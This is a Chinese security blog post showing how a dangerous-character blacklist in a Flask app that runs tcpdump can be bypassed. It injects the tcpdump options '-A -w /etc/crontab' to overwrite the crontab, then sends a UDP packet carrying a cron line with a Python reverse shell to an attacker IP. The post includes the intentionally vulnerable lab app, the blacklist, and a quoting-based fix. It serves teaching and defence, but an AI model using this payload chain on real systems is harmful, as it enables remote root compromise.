tcpdump黑名单字符绕过及防御方案

admin 2022年4月26日06:50:14评论31 views字数 4227阅读14分5秒阅读模式

0x01前言

对命令注入防御是采用危险字符过滤或者黑名单的方式,这样是否万事大吉?

并不是,对于一些可以加选项的命令,会有意想不到的威胁。

下面介绍tcpdump的危险字符黑名单的绕过及正确的防御方案介绍。

0x02代码分析

prevent_cmd_injection_list = [ "${", "$(", "$", "&", ";", "|", "%", "\", "`", """,  "'", ">", "<"] @app.route('/action', methods=['GET'])def action():    NIC = request.args.get("NIC")    for i in prevent_cmd_injection_list:        if i in NIC:            return action_html.format("Illegal char")
cmd = "tcpdump -i {} -c 1 -vv -n -G 1".format(NIC) res = subprocess.getoutput(cmd) return action_html.format(res)

prevent_cmd_injection_list为防止命令注入的危险字符过滤的黑名单,会对从外部传来的NIC参数进行过滤效验是否包含危险字符,如果包含危险字符,cmd就不会被执行。

只有没有危险字符的参数才会被传入到cmd,然后执行命令。

此时如果用传统的命令注入方式,是没有办法注入成功的,那么需要我们另想其他方法,我们这时候就可以尝试采用tcpdump本身的选项特性来进行攻击

0x03tcpdump选项介绍

Ubuntu 安装tcpdump

sudo apt install -y tcpdump

CentOS安装tcpdump

yum -y install tcpdump

1.-i选项限制 tcpdump 抓包的端口

tcpdump -i any  //对所有端口进行抓包tcpdump -i eth0 //对eth0端口进行抓包

2.-c选项限制 tcpdump 抓包的数量

抓取5个包后自动停止

tcpdump -i any -c 5 

3.指定抓取特定IP和特定端口

只抓取端口为22的流量,抓取5个后停止

tcpdump -i any -c5 port 22

抓取网络接口ens33,IP地址为172.16.87.137,端口22的流量。

tcpdump -i ens33 host 172.16.87.137 and port 22

4.根据协议过滤

在命令中指定协议便可以按照协议类型来筛选数据包。比方说用如下命令只要抓取 ICMP 报文:

tcpdump -i any -c5 icmp

在某台电脑上ping这台Linux服务器

ping centos7

5. -A选项显示数据包的详细信息

在以上的示例中,我们只按数据包头部的信息来建立规则筛选数据包,例如源地址、目的地址、端口号等等。有时我们需要分析网络连接问题,可能需要分析数据包中的内容来判断什么内容需要被发送、什么内容需要被接收等。tcpdump 提供了两个选项可以查看数据包内容,-X 以十六进制打印出数据报文内容,-A 打印数据报文的 ASCII 值。

tcpdump -i any -c10 -nn -A port 80

6. -w选项保存抓包内容

tcpdump 提供了保存抓包数据的功能以便后续分析数据包。例如,你可以结合Linux计划任务在指定时间抓包,然后早上起来再去分析它。同样当有很多数据包时,显示过快也不利于分析,将数据包保存下来,更有利于分析问题。

使用 -w 选项来保存数据包而不是在屏幕上显示出抓取的数据包:

抓取任意接口的流量,端口为80,抓取10个包后自动停止,保存文件为sample.pcap。

tcpdump -i any -c10 -nn -w sample.pcap port 80

为什么要保存后缀名为.pcap,是因为它于wireshark兼容,也就是说,你可以使用wireshark图形界面版的软件打开它。

0x04攻击复现

1.靶机环境搭建

采用flask+docker的方式来搭建靶机环境

Dockerfile

FROM jcdemo/flaskapp:ubuntuRUN apt update&&apt install tcpdump -yEXPOSE 5000/tcpRUN rm -rf /src/app.pyCOPY ./app.py /src/app.py

app.py

from flask import Flask, requestimport subprocessapp = Flask(__name__)hello_html = """<html lang="en"><head>    <meta charset="UTF-8">    <title>sangfor-ctf</title></head><body>    <h3>测试网卡抓包</h3>    <div>        <form action="/action" method="get">            <div>                TCPDUMP:                <!-- 下拉框 -->                <select name="NIC">                    <option value="eth0">eth0</option>                </select>            </div>            <p>            <input type="submit" value="提交">        </form>    </div></body></html>"""action_html = """<html lang="en"><head>    <meta charset="UTF-8">    <title>sangfor-ctf</title></head><body>    <h3>测试网卡抓包</h3>    <div>        <form action="/action" method="get">            <div>                TCPDUMP:                <!-- 下拉框 -->                <select name="NIC">                    <option value="eth0">eth0</option>                </select>            </div>            <p>            <input type="submit" value="提交">        </form>    </div>    <h1>{}</h1></body></html>"""@app.route('/')def hello():    return hello_htmlprevent_cmd_injection_list = [ "${", "$(", "$", "&", ";", "|", "%", "\", "`", """,  "'", ">", "<"]@app.route('/action', methods=['GET'])def action():    NIC = request.args.get("NIC")    for i in prevent_cmd_injection_list:        if i in NIC:            return action_html.format("Illegal char")    cmd = "tcpdump -i {} -c 1 -vv -n -G 1".format(NIC)    res = subprocess.getoutput(cmd)    return action_html.format(res)if __name__ == '__main__':    app.run(host='0.0.0.0')

将Dockerfile和app.py放在同一目录,执行:

docker build -t tcpdump:demo .
然后将制作的镜像run起来,5000为flask的web端口,5002为留的tcp端口,5001为留的udp端口,后续有用:
docker run -d -p8080:5000 -p5002:5002 -p5001:5001/udp --name tcpdump_test tcpdump:demo

访问IP:8080就可以访问到靶机环境了:

tcpdump黑名单字符绕过及防御方案

2.poyload编写

payload如下,不包含任何黑名单里的字符:

NIC=any -c 1 -vv -n -G 1 -A -w /etc/crontab #

点击提交拦截,添加url编码之后的payload:

tcpdump黑名单字符绕过及防御方案

那么拼接之后的cmd为:

cmd = "tcpdump -i any -c 1 -vv -n -G 1 -A -w /etc/crontab # -c 1 -vv -n -G 1"

基本思路:

利用-w选项重写文件进行覆盖,保存为/etc/crontab

利用-A选项来保留数据 ASCII 值,否则数据乱码

利用-i选项来监听任意网口和端口

利用#注释掉cmd后多余的命令

那么此时,靶机抓包数据,然后保存在/etc/crontab文件内,那么我们就可以写入定时任务来反弹shell了

3.攻击机执行攻击

此时靶机正在抓包,利用nc向靶机发送数据包:

echo payload.txt | nc -u ip port

tcpdump黑名单字符绕过及防御方案

payload.txt内容,采用的python脚本反弹shell的方式,注意更换s.connect里的ip和port:

* * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
这样靶机监听到报文,就会把报文以ASCII的方式保存在/etc/crontab文件里,就变成了上述payload.txt的内容了

靶机的/ect/crontab:

tcpdump黑名单字符绕过及防御方案

容器里没有安装cron,可以自己手动安装,即可反弹shell

注意:我们为什么用nc -u,这个的意思是向靶机发送udp数据报文,这是因为在执行攻击时,是有讲究的,如果向靶机发送TCP的数据包,那么保存下来的文件是乱码的,定时任务没办法被执行,所以选择udp发包

tcpdump黑名单字符绕过及防御方案

tcpdump黑名单字符绕过及防御方案tcpdump黑名单字符绕过及防御方案

0x05防御方案

过滤字危险字符并不是标准防御手段,由tcpdump案例即可看出依然能拿到shell

那么类似问题要怎么防御?

如下代码,将要拼接的变量外包裹一层单引号,然后再过滤或转义变量内的单引号即可

cmd = "tcpdump -i {} -c 1 -vv -n -G 1".format(NIC)  ==>> cmd = "tcpdump -i '{}' -c 1 -vv -n -G 1".format(NIC)

针对Python的整体解决示例如下,字符串变量只需要做一步即可:

s = "'" + s.replace("'", "'"'"'") + "'"

原文始发于微信公众号(98KSec):tcpdump黑名单字符绕过及防御方案

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日06:50:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   tcpdump黑名单字符绕过及防御方案https://cn-sec.com/archives/795645.html

发表评论

匿名网友 填写信息